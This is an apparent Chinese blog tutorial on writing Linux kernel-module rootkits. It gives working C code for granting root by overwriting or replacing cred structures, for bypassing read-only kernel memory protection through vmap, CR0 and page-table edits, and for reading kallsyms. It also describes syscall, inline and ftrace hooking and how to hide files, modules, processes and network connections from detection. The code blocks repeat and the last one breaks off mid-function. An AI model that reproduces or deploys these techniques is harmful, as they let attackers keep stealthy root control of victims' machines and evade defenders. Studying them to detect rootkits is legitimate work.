「Rootkit」即「root kit」,中文直译为「根工具包」,通常指代一类具有较高权限的恶意软件,其通常以内核模块的形式存在,在网络攻防当中被用作权限维持的目的
本系列文章将对 Linux 下基于 LKM 的 rootkit 实现技术进行汇总,主要基于 x86 架构,仅供实验与学习,请勿用作违法犯罪:(
同时笔者将本文所涉及的技术实现整合为一个教学用 Rootkit 并开源于 45fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8@1L8X3u0S2x3#2)9J5c8V1&6G2M7X3&6A6M7W2)9J5k6q4u0G2L8%4c8C8K9i4b7`. ,希望大家能多来点 star :)
一个进程的权限由其 PCB (即 task_struct
结构体)中指定的 cred
结构体决定,位于内核空间中的 rootkit 可以很方便地通过修改、替换cred
结构体等方式来帮助我们的恶意进程进行提权:)
直接将 cred
的 uid
、gid
等字段修改为 0 即可完成提权,下面是笔者给出的示例代码
在老版本内核上可以直接通过 commit_creds(prepare_kernel_cred(NULL))
完成提权,但是在较新版本的内核当中 prepare_kernel_cred(NULL)
会分配失败,不过 prepare_kernel_cred()
函数本质上是拷贝复制一个进程的 cred
,因此我们不难想到的是我们可以直接复制有 root 权限的 init 进程的 cred
虽然 init 进程的 PCB init_task
与 credential init_cred
都是静态分配的,但是这两个符号不一定会导出,且直接在内存中进行搜索也不简单,不过 init 进程是所有进程最终的父进程,其父进程为其自身,因此我们可以直接通过 task_struct->parent
不断向上直接找到 init_task
后 commit_creds(prepare_kernel_cred(&init_task))
完成提权,示例代码如下:
rootkit 通常需要修改内核部分函数逻辑来达成特定目的,例如劫持 getdents
系统调用来完成文件隐藏等;劫持函数的方法多种多样,本节笔者将给出一些比较经典的方案
系统代码段、一些静态定义的函数表(包括系统调用表在内)的权限通常都被设为只读, 我们无法直接修改这些区域的内容 ,因此我们还需要一些手段来绕过只读保护,这里笔者给出常见的几种方法
对虚拟地址空间的访问实际上是对指定物理页面的访问,我们可以通过将目标物理页框映射到新的可写虚拟内存的方式完成对只读内存区域数据的覆写
我们可以直接通过 virt_to_phys()
、virt_to_pfn()
等宏获取到目标区域虚拟地址对应的物理地址后再通过 vmap()
等函数将目标物理页框重新映射到一个新的虚拟地址上即可完成对只读内存数据的改写
数据覆写完成后再 vunmap()
即可,示例代码如下:
虽然 direct mapping area 有着对所有物理内存的映射,但是也根据映射的区域权限进行了相应的权限设置(例如映射 text 段的页面为可读可执行权限),因此我们无法通过这块区域进行覆写,而需要重新建立新的映射
因此 kmap()
同样无法帮助我们完成对只读区域的改写,因为其会先检查相应的 page
是否已经在 direct mapping area 上有着对应的映射并进行复用 :(
只读保护的开关其实是由 cr0 寄存器中的 write protect
位决定的,只要我们能够将 cr0 的这一位置 0 便能关闭只读保护,从而直接改写内存中只读区域的数据
这也是上古时期比较经典的一些 rootkit 的实现方案

直接写内联汇编即可,这里笔者给出一个通用的改写内存只读区域的代码:
操作系统对于内存页读写权限的控制实际上是通过设置页表项中对应的标志位来完成的:

因此我们也可以通过直接修改对应页表项的方式完成对只读内存的读写,下面笔者给出如下示例代码:
当进行系统调用时实际上会通过系统调用表获取到对应系统调用的函数指针后进行调用(syscall_nr→syscall_func
的指针数组),因此我们可以很方便的通过该表获取到不同系统调用的函数地址,并通过劫持该表以劫持系统调用流程:
但系统调用表符号是不导出的 :( 因此我们还需要通过其他的方式找到系统调用表的地址
系统调用对应的函数其实是在编译期动态生成的,而生成的这些函数符号会导出到 kallsyms 中,因此我们可以通过搜索函数指针的方式来查找系统调用表的位置:)
但是在较高版本的内核当中 kallsyms 相关的符号 仍然是不导出的 ,因此这里笔者选择采用直接读取 /proc/kallsyms 的方式;由于序列文件接口在内核空间不可直接读,因此我们需要通过在用户态开辟空间的方式进行读取(参考笔者的 这个项目),核心代码如下:
解析 /proc/kallsyms
内容的代码就不在这放出了,本质上就是个建议的递归下降解析器,完整代码参见源码的 src/libs/ksym.c
之后我们只需要定位几个连续的系统调用函数指针便能定位到系统调用表,也可以直接查找符号 sys_call_table
包括系统调用在内,内核中的大部分系统调用其实都是通过调用函数表中的函数指针完成的,因此我们可以直接通过劫持特定表中的函数指针的方式来完成 hook
笔者将在后文的一些具体场景下给出该技术的示例
内联钩子 (inline hook)算是一个比较经典的思路,其核心原理是将函数内的 hook 点位修改为一个 jmp 指令,使其跳转到恶意代码处执行,完成恶意代码的执行之后再恢复执行被 jmp 指令所覆盖的部分指令,之后跳转回原 hook 点位的下一条指令继续执行,这样便在保证了原函数基础功能的情况下完成了恶意代码执行

通过 Intel SDM
我们可以很方便地获取到 jmp 指令的格式,从而编写相应的跳转指令,并通过前文的修改只读内存函数来完成对代码段的改写

但由于 x86 为 CISC 指令集,指令长度并不固定,因此 inline hook 往往需要一个额外且庞大的模块来帮我们识别 hook 点位的数条指令,这令 inline hook 的流程变得较为复杂 :(
在 Github 上也有一些开源的 inline hook 框架,如大名鼎鼎的 Reptile 使用的便是非常经典的 khook (典中典组合了这下)
常规的 inline hook 不仅要将 hook 点位的代码 patch 为 jmp 指令,还需要识别与保存 hook 点位上的指令以在恶意代码执行完后恢复这些指令的执行再跳转执行 hook 点位的后续代码,x86 指令集的非定长的特性使得这套流程变得异常繁琐:(
现在笔者给出一种特别的 inline hook 方法,笔者称之为 动态 inline hook 技术 ,其基本流程如下:
这种方法不会破坏函数调用栈,也不需要对 hook 点位上的原指令进行识别,大幅简化了 hook 流程,当然缺点就是 有概率存在条件竞争问题 ,但通常我们要劫持的函数一般不会在同一时间被多个线程同时调用 :)
现笔者给出如下的 通用 hook 框架 代码,我们只需要为不同的 hook 点位定义不同的基础设施即可完成对指定代码位置的 hook:
ftrace
是内核提供的一个调试框架,当内核开启了 CONFIG_FUNCTION_TRACER
编译选项时我们可以使用 ftrace
来追踪内核中的函数调用
ftrace
通过在函数开头插入 fentry()
或 mcount()
实现,为了降低性能损耗,在编译时会在函数的开头插入 nop
指令,当开启 frace 时再动态地将待跟踪函数开头的 nop
指令替换为跳转指令:

以 commit_creds()
为例,插入 ftrace 的跳转点前后如下:


利用 ftrace
,我们可以非常方便地 hook 内核中的大部分函数:)
这里其实可以直接使用一些现成的框架,不过本文主要是为了学习技术背后的原理,因此笔者不会选择使用一些现有的框架,而是会从头开始重新写:)
ftrace
的核心结构是 ftrace_ops
,用来表示一个 hook 点的基本信息,通常我们只需要用到 func
和 flags
两个成员:
当我们创建好一个 ftrace_ops
之后,我们便可以使用 ftrace_set_filter_ip()
将其注册到 filter 中,也可以使用该函数将一个 ftrace_ops
从 filter 中删除:
当我们将一个 ftrace_ops
添加到 filter 中后,我们可以使用 register_ftrace_function()
将其放置到 hook 点位上;而在我们将其从 filter 中删除之前,我们需要调用 unregister_ftrace_function()
将其从 hook 点上脱离;下面是笔者给出的示例代码:
这里我们还是以 commit_cred()
作为范例进行测试,在我们自定义的 hook
点当中我们可以通过 fregs
参数直接改变任一寄存器的值,由于 ftrace 的 hook 点位于函数开头,尚未开辟该函数的栈空间,这里我们可以选择将 rip
直接改为一条 ret
指令从而使其直接返回,之后我们再在 hook 函数中重新调用原函数的功能部分即可,这里需要注意的是要跳过开头的 endbr64
+ call
两条指令总计 9 字节:
我们的 rootkit 既然要长久驻留在系统上,那么在系统每一次开机时都应当载入我们的 rootkit,这就要求我们的 rootkit 文件还需要保留在硬盘上,同时我们有的时候也需要启动一些用户态进程来帮助我们完成一些任务,用户态进程的二进制文件也需要我们进行隐藏,除此之外我们可能也想要隐藏一些日志文件...
因此接下来我们还要完成相关文件的隐藏的工作
注:本节需要你提前对 VFS 有着一定的了解:)
当我们使用 ls
查看某个目录下的文件时,实际上会调用到 getdents64()
/ getdents()
/ compat_getdents()
这三个系统调用之一来获取某个目录下的文件信息,并以如下形式的结构体数组返回:
而用来遍历文件的系统调用的核心逻辑实际上都是通过 iterate_dir()
来实现的:
而在 iterate_dir()
中实际上会调用对应文件的函数表中的 iterate_shared
/ iterate
函数:
以 ext4 文件系统为例,其实际上会调用到 ext4_readdir
函数:
存在如下调用链:
填充返回给用户的数据的核心逻辑便是调用 ctx->actor()
,也就是调用 filldir/filldir64/compat_filldir 函数,这也是大部分文件系统对于 iterate/iterate_shared
的实现核心之一,而这类函数的作用其实是将文件遍历的单个结果填充回用户空间
由此我们有两种隐藏文件的方法:
需要注意的是这些函数对内核模块并不导出,因此我们需要通过用户态进程辅助读取 /proc/kallsyms
来获得其地址
hook 函数的模板在前面已经给出,这里不再赘叙,我们只需要判断是否为我们要隐藏的文件,如果是则直接返回即可,现笔者给出如下示例代码:
前面我们讲到用以遍历文件的系统调用都会调用到 iterate_dir()
函数,而 iterate_dir()
中实际上会调用对应文件的函数表中的 iterate_shared
/ iterate
函数,由此我们也可以 通过 hook 对应文件系统函数表的 iterate_shared
/ iterate
函数来实现文件隐藏的功能
同一文件系统间共用相同的函数表,由此对函数表的修改直接对整个文件系统生效,不过这里我们需要注意区分的是数据文件和文件夹使用的不是同一个函数表
由于填充返回给用户的数据的核心逻辑便是调用 ctx->actor()
,因此我们可以在我们自定义的 iterate_shared
/ iterate
中直接动态修改 ctx->actor 函数指针,从而完成文件隐藏:)
相比于 inline hook,直接 hook VFS 函数表要更方便得多,不过需要注意的是函数表的地址对内核模块同样是不导出的,这里我们有两种办法获得 VFS 函数表的地址:
在 Linux 当中诸如 ramfs/tmpfs/devtmpfs/procfs/sysfs/...
等文件系统都并不在外存当中占用存储空间,没有对应的文件系统设备,而仅存在于内存当中,为基于 VFS 与 page caches 结构形成基于内存的文件系统
这类文件系统的文件函数表通常都是 simple_dir_operations
,对于文件遍历而言其所用函数为 dcache_readdir()
:
在 VFS 当中目录项(文件/文件夹)以 dentry
结构表示,其形成如下图所示拓扑结构,该函数的核心逻辑是遍历 dentry->d_child 链表:

但是打开文件使用的是不同的逻辑,由此我们不难想到的是我们可以将要隐藏的文件的 dentry
结构体从对应的 d_child
链表中脱链,从而在保持文件可用性的情况下完成文件隐藏
rootkit 想要在一台计算机上安稳地生存下来,便需要 “隐藏自己,做好清理” ,本节将讲述如何将一个 LKM 进行初步的隐藏
实际上本章的大部分都可以通过常规的文件隐藏的方式来隐藏(这也是上古 rootkit 常用的做法),但是由于未修改内核数据结构的缘故使得这种方法无法逃脱内核层面的反病毒查杀手段,因此这里我们采用更加深入底层的修改方法 :)
当我们的模块被装载进内核之后,其导出符号会变成内核公用符号表的一部分,可以直接通过 /proc/kallsyms 进行查看,同时我们可以通过 /proc/modules
查看到我们的 rootkit,因此我们需要对这两处地方进行隐藏,而这都需要基于同一个数据结构来完成:)
内核模块在内核当中被表示为一个 module
结构体,当我们使用 insmod
加载一个 LKM 时,实际上会调用到 init_module()
系统调用创建一个 module
结构体:
多个 module
结构体之间组成一个双向链表,链表头部定义于 kernel/module/main.c
中:
当我们使用 lsmod
显示已经装载的内核模块时,实际上会读取 /proc/modules
文件,而这实际是通过注册了序列文件接口对 modules 链表进行遍历完成的,同时这套逻辑也被应用于 /proc/kallsyms 上:
因此我们不难想到的是我们可以通过将 rootkit 模块的 module 结构体从双向链表上脱链的方式完成模块隐藏,我们可以通过 THIS_MODULE
宏获取对当前模块的 module
结构体的引用,从而有代码如下:
sysfs 是一个基于 ramfs 的文件系统,其作用是将内核的一些相关信息以文件的形式暴露给用户空间,其中便包括内核模块的相关信息,因此我们还需要完成 rootkit 在 sysfs 中的隐藏
Linux 设备驱动模型中比较核心的组成部分便是 kobject
与 kset
,kobject
表示一个内核对象,通常被嵌入到其他类型的结构当中,多个 kobject
之间组织成层次结构:
kset
是一种特殊的 kobject,表示属于一个特定子系统的一组特定类型的 kobject,用以整合一类 kobject
:
kset
与 kobject
间形成如下图所示层次结构, 属于同一 kset 的 kobject 可以有着不同的 ktype :

这个模型更深入的实现不是我们所要关注的,我们更关注于如何在 sysfs 中隐藏我们的内核模块:)阅读源码不难发现各个内核模块的 module
结构体当中同样内嵌一个 kobject 结构体:
module
结构体实际上也通过 kobject 组织为层次结构,归属于 module_kset
:
当我们 insmod 时会通过如下调用链将一个 module 结构体链入 sysfs 对应的 kobject 层次结构中,并创建相应的 /sys/module/[模块名]
目录:
当我们读取 /sys/module
目录时内核会根据 module_kset
的层次结构动态生成各个模块的文件夹,因此我们需要将我们的模块从 module_kset
的层次结构中脱离,从而完成 sysfs 下的隐藏,这里我们可以直接使用内核提供的 kobject_del()
函数完成 kobject 的摘除:
内核模块的内存是通过 vmap
机制进行动态分配的,该机制用以分配一块虚拟地址连续的内存(物理地址不一定连续),主要原理是在对应的虚拟地址空间中找到足够大的一块空闲区域,之后建立虚拟地址到物理页面的映射,对于内核模块而言为 ffffffffa0000000~fffffffffeffffff
:
在内核当中所有非连续映射的内核虚拟空间都有着一个对应的 vmap_area
结构体进行表示,其中 vmap_area
结构在内核当中同时以红黑树(负责根据虚拟地址进行快速索引)与链表进行组织:

而通过读取 /proc/vmallocinfo
文件我们可以获取所有通过 vmap 机制分配的内存信息,其中便包括我们的 rootkit 所占用的内存:

因此我们还需要深入完成内存映射结构的隐藏
首先还是按惯例阅读 /proc/vmallocinfo
的实现,类似于 /proc/modules
,其同样使用了序列文件接口:
注意到其实际上是通过 vmap_area_list 完成遍历的,因此我们只需要将模块内存对应的 vmap_area
从全局链表中摘除即可:
下面笔者给出如下示例代码:
需要注意的是摘除全局红黑树中的 vmap_area 节点意味着放弃了对相应虚拟地址空间的所有权,这导致我们的 rootkit 的虚拟地址空间可能被后面加载的新模块所覆盖,使得我们的 rootkit 无法正常工作:(
如果我们的 rootkit 依赖于其他的模块,则模块间依赖关系会被记录于 sys/module/依赖模块/holder/
中,因此我们也需要完成对模块依赖关系的隐藏
模块间依赖关系通过 module_use
结构体进行记录,本质上还是通过链表构建依赖关系:
因此我们只需要完成对应链表的脱链工作即可,下面笔者给出如下示例代码:
有的时候我们需要启动一些恶意进程帮助我们完成一些任务,但是这些恶意进程很容易一个 ls
就被发现了 :( 所以我们还需要完成隐藏进程的工作
进程 id 在内核当中并非一个简单的整型字面量,而是一个 pid
结构体:
inodes
域似乎暂时没用:)
虽然所有的 task_struct
形成一个双向链表,但是遍历链表以找寻 pid 对应的 PCB 效率过低,因而有了基于 pid
结构体的索引,我们可以通过该结构体直接找到一个 pid 对应的 PCB,同时不同类型的进程(属于同一进程组/属于同一会话)也会通过 task_struct->pid_links
进行连接:

一个进程在不同的 pid 命名空间内可能有着不同的 pid(其中子命名空间对父命名空间完全可见),内核通过 upid
结构体存储一个 pid
结构体在相应命名空间中的值,根据命名空间的父子层次结构存储在 pid
结构体中动态分配的 upid
数组中:

为了提高查找速度 ,pid
在内核中被组织成基数树(radix trie,对应 idr
结构体),当进行 pid
结构体查找时(find_vpid()
)实际上会先获取到当前进程的 pid 命名空间(struct pid_namespace
)再进行基数树搜索
因此若是我们想要隐藏一个进程,使其无法被通过 pid 找到,只需要将其从对应的 pid 命名空间与所有上层 pid 命名空间中的基数树进行删除,并将 task_struct
从 pid_links
摘除即可
现笔者给出如下示例代码:
需要注意的是删除链表后别忘了初始化链表节点,否则会 panic 掉

在内核中一个进程使用 task_struct
表示,所有的 task_struct
构成一个双向链表,若是遍历该链表则很容易发现我们的恶意进程;此外,所有的 task_struct
按照进程亲子关系链接成树形结构,若是从 init
进程开始沿着这棵进行遍历的话仍然能够发现我们的恶意进程;以及还有 thread_node
和 thread_group
两个链表也可以让我们的恶意进程无处遁形 :(
因此我们还需要完成将待隐藏进程从对应的链表中脱链的操作,现笔者给出如下示例代码:
需要注意的是在删除链表之后别忘了初始化链表节点,否则会 panic:

诸如 ps
等查看进程的指令其实是通过读取 procfs 所提供的信息实现的,因此我们也可以简单地通过隐藏 procfs 中对应文件的方式来实现进程隐藏,直接使用前文的文件隐藏框架即可:)
需要注意的是这种方法并不会改变内核中与进程关联的数据结构对象,因此我们的隐藏进程很容易被找出 :(

这种隐藏进程的方法其实非常古老了,因此笔者不推荐使用;相对应地古早时期有一种经典反病毒手段就是通过将每个进程都 kill 一遍的方式来找出隐藏进程 :)
如果我们想要维持对目标计算机的远程控制,则我们需要与目标计算机之间建立相应的网络连接,异常的网络连接的存在很容易让我们入侵了这台计算机的这个事实被发现,因此我们还需要完成网络连接的隐藏
注:本节需要你对 Linux 网络协议栈有足够深入的了解:)
Linux 下内核网络连接信息通常通过用户态的 /proc/net
接口导出,此类接口的信息导出实现依托于 序列文件接口 ,对应关系如下表所示:
例如当我们使用 netstat
查看主机上的 TCP 连接时,实际上是读取了 /proc/net/tcp
文件的信息
因此我们不难想到的是我们只需要劫持对应的信息填充函数,在遇到我们想要隐藏的连接时不打印而是直接返回,我们便能完成对指定连接的隐藏:)
函数劫持的框架前面已经给出了,这里不再赘述,我们现在来看如何在内核当中一个网络连接大概长什么样子,以及我们在 *_seq_show
当中所获得的数据类型是什么样子
以 tcp4_seq_show()
为例,可以发现我们所获得的数据为一个 struct sock
类型:
套接字相关的基本概念这里不再赘述,简而言之在 Linux kernel 中使用 struct socket
来表示一个 面向用户态 的套接字(存放在 file::private
),struct sock
则用以在 内核网络协议栈 中表示一个套接字:

观察源码,注意到在 tcp4_seq_show()
当中会调用到 get_tcp4_sock()
,由此可知我们所获取到的 struct sock
实际上是被包含在更外层的结构当中的:
这几个结构的包含关系如下:
大致结构关系如下图所示:

更深层次的结构间联系及其含义我们就不关注了,对于网络连接的隐藏,我们更关注于套接字的地址所存放的位置,查看注释可以知道外部地址是存放在 inet_sock::inet_daddr
字段当中:
inet_sock::inet_daddr
实际上是一个四字节的 IPV4 地址,我们只需要直接对比其与我们想要隐藏的 IP 地址是否相同即可,这里我们给出一个简单的 ftrace 的例子:
项目代码目前开源于 47fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8@1L8X3u0S2x3#2)9J5c8V1&6G2M7X3&6A6M7W2)9J5k6q4u0G2L8%4c8C8K9i4b7`.,如果觉得写的还行的话还请多来点 star ? :)
【VIRUS.0x00】现代 Linux rootkit 开发导论
现代 Linux rootkit 技术实现(1)
【CODE.0x01】简易 Linux Rootkit 编写入门指北
简易 Linux Rootkit 编写入门指北(一):模块隐藏与进程提权
static
__always_inline
struct
task_struct* nornir_find_task_by_pid(pid_t pid)
{
return
pid_task(find_vpid(pid), PIDTYPE_PID);
}
static
__maybe_unused
void
nornir_grant_root_by_cred_overwrite(pid_t pid)
{
struct
task_struct *task;
struct
cred *cred;
task = nornir_find_task_by_pid(pid);
if
(!task) {
logger_error(
"Unable to find task_struct of pid %d, root grant failed.\n"
,
pid
);
return
;
}
cred = (
struct
cred*) task->real_cred;
cred->uid = cred->euid = cred->suid = cred->fsuid = KUIDT_INIT(0);
cred->gid = cred->egid = cred->sgid = cred->fsgid = KGIDT_INIT(0);
if
(unlikely(task->cred != task->real_cred)) {
logger_warn(
"Mismatched cred & real_cred detected for task %d.\n"
, pid);
cred = (
struct
cred*) task->cred;
cred->uid = cred->euid = cred->suid = cred->fsuid = KUIDT_INIT(0);
cred->gid = cred->egid = cred->sgid = cred->fsgid = KGIDT_INIT(0);
}
logger_info(
"Root privilege has been granted to task %d.\n"
, pid);
}
static
__always_inline
struct
task_struct* nornir_find_task_by_pid(pid_t pid)
{
return
pid_task(find_vpid(pid), PIDTYPE_PID);
}
static
__maybe_unused
void
nornir_grant_root_by_cred_overwrite(pid_t pid)
{
struct
task_struct *task;
struct
cred *cred;
task = nornir_find_task_by_pid(pid);
if
(!task) {
logger_error(
"Unable to find task_struct of pid %d, root grant failed.\n"
,
pid
);
return
;
}
cred = (
struct
cred*) task->real_cred;
cred->uid = cred->euid = cred->suid = cred->fsuid = KUIDT_INIT(0);
cred->gid = cred->egid = cred->sgid = cred->fsgid = KGIDT_INIT(0);
if
(unlikely(task->cred != task->real_cred)) {
logger_warn(
"Mismatched cred & real_cred detected for task %d.\n"
, pid);
cred = (
struct
cred*) task->cred;
cred->uid = cred->euid = cred->suid = cred->fsuid = KUIDT_INIT(0);
cred->gid = cred->egid = cred->sgid = cred->fsgid = KGIDT_INIT(0);
}
logger_info(
"Root privilege has been granted to task %d.\n"
, pid);
}
static
__always_inline
struct
task_struct* nornir_find_root_pcb(
void
)
{
struct
task_struct *task;
task = current;
if
(unlikely(task->parent == task)) {
logger_error(
"detected out-of-tree task_struct, pid: %d\n"
, task->pid);
return
NULL;
}
do
{
task = task->parent;
}
while
(task != task->parent);
return
task;
}
static
__maybe_unused
void
nornir_grant_root_by_cred_replace(pid_t pid)
{
struct
task_struct *task;
struct
cred *old, *
new
;
task = nornir_find_task_by_pid(pid);
if
(!task) {
logger_error(
"Unable to find task_struct of pid %d, root grant failed.\n"
,
pid
);
return
;
}
new
= prepare_kernel_cred(task);
if
(!
new
) {
logger_error(
"Unable to allocate new cred, root grant failed.\n"
);
return
;
}
old = (
struct
cred*) task->real_cred;
get_cred(
new
);
rcu_assign_pointer(task->real_cred,
new
);
rcu_assign_pointer(task->cred,
new
);
put_cred(old);
put_cred(old);
logger_info(
"Root privilege has been granted to task %d.\n"
, pid);
}
static
__always_inline
struct
task_struct* nornir_find_root_pcb(
void
)
{
struct
task_struct *task;
task = current;
if
(unlikely(task->parent == task)) {
logger_error(
"detected out-of-tree task_struct, pid: %d\n"
, task->pid);
return
NULL;
}
do
{
task = task->parent;
}
while
(task != task->parent);
return
task;
}
static
__maybe_unused
void
nornir_grant_root_by_cred_replace(pid_t pid)
{
struct
task_struct *task;
struct
cred *old, *
new
;
task = nornir_find_task_by_pid(pid);
if
(!task) {
logger_error(
"Unable to find task_struct of pid %d, root grant failed.\n"
,
pid
);
return
;
}
new
= prepare_kernel_cred(task);
if
(!
new
) {
logger_error(
"Unable to allocate new cred, root grant failed.\n"
);
return
;
}
old = (
struct
cred*) task->real_cred;
get_cred(
new
);
rcu_assign_pointer(task->real_cred,
new
);
rcu_assign_pointer(task->cred,
new
);
put_cred(old);
put_cred(old);
logger_info(
"Root privilege has been granted to task %d.\n"
, pid);
}
static
__maybe_unused
void
nornir_overwrite_romem_by_vmap(
void
*dst,
void
*src,
size_t
len)
{
size_t
dst_virt, dst_off, dst_remap;
struct
page **pages;
unsigned
int
page_nr, i;
page_nr = (len >> PAGE_SHIFT) + 2;
pages = kcalloc(page_nr,
sizeof
(
struct
page*), GFP_KERNEL);
if
(!pages) {
logger_error(
"Unable to allocate page array for vmap, operation aborted.\n"
);
return
;
}
dst_virt = (
size_t
) dst & PAGE_MASK;
dst_off = (
size_t
) dst & (PAGE_SIZE - 1);
for
(i = 0; i < page_nr; i++) {
pages[i] = virt_to_page(dst_virt);
dst_virt += PAGE_SIZE;
}
dst_remap = (
size_t
) vmap(pages, page_nr, VM_MAP, PAGE_KERNEL);
if
(dst_remap == 0) {
logger_error(
"Unable to map pages with vmap, operation aborted.\n"
);
goto
free_pages;
}
memcpy
((
void
*) (dst_remap + dst_off), src, len);
vunmap((
void
*) dst_remap);
free_pages:
kfree(pages);
}
static
__maybe_unused
void
nornir_overwrite_romem_by_vmap(
void
*dst,
void
*src,
size_t
len)
{
size_t
dst_virt, dst_off, dst_remap;
struct
page **pages;
unsigned
int
page_nr, i;
page_nr = (len >> PAGE_SHIFT) + 2;
pages = kcalloc(page_nr,
sizeof
(
struct
page*), GFP_KERNEL);
if
(!pages) {
logger_error(
"Unable to allocate page array for vmap, operation aborted.\n"
);
return
;
}
dst_virt = (
size_t
) dst & PAGE_MASK;
dst_off = (
size_t
) dst & (PAGE_SIZE - 1);
for
(i = 0; i < page_nr; i++) {
pages[i] = virt_to_page(dst_virt);
dst_virt += PAGE_SIZE;
}
dst_remap = (
size_t
) vmap(pages, page_nr, VM_MAP, PAGE_KERNEL);
if
(dst_remap == 0) {
logger_error(
"Unable to map pages with vmap, operation aborted.\n"
);
goto
free_pages;
}
memcpy
((
void
*) (dst_remap + dst_off), src, len);
vunmap((
void
*) dst_remap);
free_pages:
kfree(pages);
}
static
__always_inline u64 nornir_read_cr0(
void
)
{
u64 cr0;
asm
volatile
(
"movq %%cr0, %%rax;"
"movq %%rax, %0; "
:
"=r"
(cr0) ::
"%rax"
);
return
cr0;
}
static
__always_inline
void
nornir_write_cr0(u64 cr0)
{
asm
volatile
(
"movq %0, %%rax; "
"movq %%rax, %%cr0;"
::
"r"
(cr0) :
"%rax"
);
}
static
__always_inline
void
nornir_disable_write_protect(
void
)
{
u64 cr0;
cr0 = nornir_read_cr0();
if
((cr0 >> 16) & 1) {
cr0 &= ~(1 << 16);
nornir_write_cr0(cr0);
}
}
static
__always_inline
void
nornir_enable_write_protect(
void
)
{
size_t
cr0;
cr0 = nornir_read_cr0();
if
(!((cr0 >> 16) & 1)) {
cr0 |= (1 << 16);
nornir_write_cr0(cr0);
}
}
static
__maybe_unused
void
nornir_overwrite_romem_by_cr0(
void
*dst,
void
*src,
size_t
len)
{
u64 orig_cr0;
orig_cr0 = nornir_read_cr0();
nornir_disable_write_protect();
memcpy
(dst, src, len);
if
((orig_cr0 >> 16) & 1) {
nornir_enable_write_protect();
}
}
static
__always_inline u64 nornir_read_cr0(
void
)
{
u64 cr0;
asm
volatile
(
"movq %%cr0, %%rax;"
"movq %%rax, %0; "
:
"=r"
(cr0) ::
"%rax"
);
return
cr0;
}
static
__always_inline
void
nornir_write_cr0(u64 cr0)
{
asm
volatile
(
"movq %0, %%rax; "
"movq %%rax, %%cr0;"
::
"r"
(cr0) :
"%rax"
);
}
static
__always_inline
void
nornir_disable_write_protect(
void
)
{
u64 cr0;
cr0 = nornir_read_cr0();
if
((cr0 >> 16) & 1) {
cr0 &= ~(1 << 16);
nornir_write_cr0(cr0);
}
}
static
__always_inline
void
nornir_enable_write_protect(
void
)
{
size_t
cr0;
cr0 = nornir_read_cr0();
if
(!((cr0 >> 16) & 1)) {
cr0 |= (1 << 16);
nornir_write_cr0(cr0);
}
}
static
__maybe_unused
void
nornir_overwrite_romem_by_cr0(
void
*dst,
void
*src,
size_t
len)
{
u64 orig_cr0;
orig_cr0 = nornir_read_cr0();
nornir_disable_write_protect();
memcpy
(dst, src, len);
if
((orig_cr0 >> 16) & 1) {
nornir_enable_write_protect();
}
}
static
__maybe_unused
void
nornir_overwrite_romem_by_pgtbl(
void
*dst,
void
*src,
size_t
len)
{
pte_t *dst_pte;
pte_t orig_pte_val;
unsigned
int
level;
size_t
left;
do
{
dst_pte = lookup_address((unsigned
long
) dst, &level);
orig_pte_val.pte = dst_pte->pte;
left = PAGE_SIZE - ((
size_t
) dst & (PAGE_SIZE - 1));
dst_pte->pte |= _PAGE_RW;
memcpy
(dst, src, left);
dst_pte->pte = orig_pte_val.pte;
dst = (
size_t
) dst + left;
src = (
size_t
) src + left;
len -= left;
}
while
(len > PAGE_SIZE);
}
static
__maybe_unused
void
nornir_overwrite_romem_by_pgtbl(
void
*dst,
void
*src,
size_t
len)
{
pte_t *dst_pte;
pte_t orig_pte_val;
unsigned
int
level;
size_t
left;
do
{
dst_pte = lookup_address((unsigned
long
) dst, &level);
orig_pte_val.pte = dst_pte->pte;
left = PAGE_SIZE - ((
size_t
) dst & (PAGE_SIZE - 1));
dst_pte->pte |= _PAGE_RW;
memcpy
(dst, src, left);
dst_pte->pte = orig_pte_val.pte;
dst = (
size_t
) dst + left;
src = (
size_t
) src + left;
len -= left;
}
while
(len > PAGE_SIZE);
}
asmlinkage
const
sys_call_ptr_t sys_call_table[] = {
#include <asm/syscalls_64.h>
};
asmlinkage
const
sys_call_ptr_t sys_call_table[] = {
#include <asm/syscalls_64.h>
};
static
int
nornir_ksym_addr_lookup_internal(
const
char
*name,
size_t
*res,
const
char
**ignore_mods,
const
char
*ignore_types)
{
int
error = 0;
struct
file *ksym_fp;
struct
ksym_info *info;
ksym_fp = filp_open(
"/proc/kallsyms"
, O_RDONLY, 0);
if
(IS_ERR(ksym_fp)) {
error = PTR_ERR(ksym_fp);
goto
out_ret;
}
info = kmalloc(
sizeof
(*info), GFP_KERNEL);
if
(!info) {
error = -ENOMEM;
goto
out_free_file;
}
error=nornir_find_ksym_info(ksym_fp, name, info, ignore_mods, ignore_types);
if
(error) {
goto
out_free_info;
}
*res = info->addr;
out_free_info:
kfree(info);
out_free_file:
filp_close(ksym_fp, NULL);
out_ret:
return
error;
}
int
nornir_ksym_addr_lookup(
const
char
*name,
size_t
*res,
const
char
**ignore_mods,
const
char
*ignore_types)
{
struct
cred *old, *root;
int
ret;
old = (
struct
cred*) get_current_cred();
root = prepare_kernel_cred(
pid_task(
find_pid_ns(1, task_active_pid_ns(current)),
PIDTYPE_PID
)
);
if
(!root) {
logger_error(
"FAILED to allocated a new cred, kallsyms lookup failed."
);
put_cred(old);
return
-ENOMEM;
}
get_cred(root);
commit_creds(root);
ret = nornir_ksym_addr_lookup_internal(name, res, ignore_mods, ignore_types);
commit_creds(old);
put_cred(root);
return
ret;
}
static
int
nornir_ksym_addr_lookup_internal(
const
char
*name,
size_t
*res,
const
char
**ignore_mods,
const
char
*ignore_types)
{
int
error = 0;
struct
file *ksym_fp;
struct
ksym_info *info;
ksym_fp = filp_open(
"/proc/kallsyms"
, O_RDONLY, 0);
if
(IS_ERR(ksym_fp)) {
error = PTR_ERR(ksym_fp);
goto
out_ret;
}
info = kmalloc(
sizeof
(*info), GFP_KERNEL);
if
(!info) {
error = -ENOMEM;
goto
out_free_file;
}
error=nornir_find_ksym_info(ksym_fp, name, info, ignore_mods, ignore_types);
if
(error) {
goto
out_free_info;
}
*res = info->addr;
out_free_info:
kfree(info);
out_free_file:
filp_close(ksym_fp, NULL);
out_ret:
return
error;
}
int
nornir_ksym_addr_lookup(
const
char
*name,
size_t
*res,
const
char
**ignore_mods,
const
char
*ignore_types)
{
struct
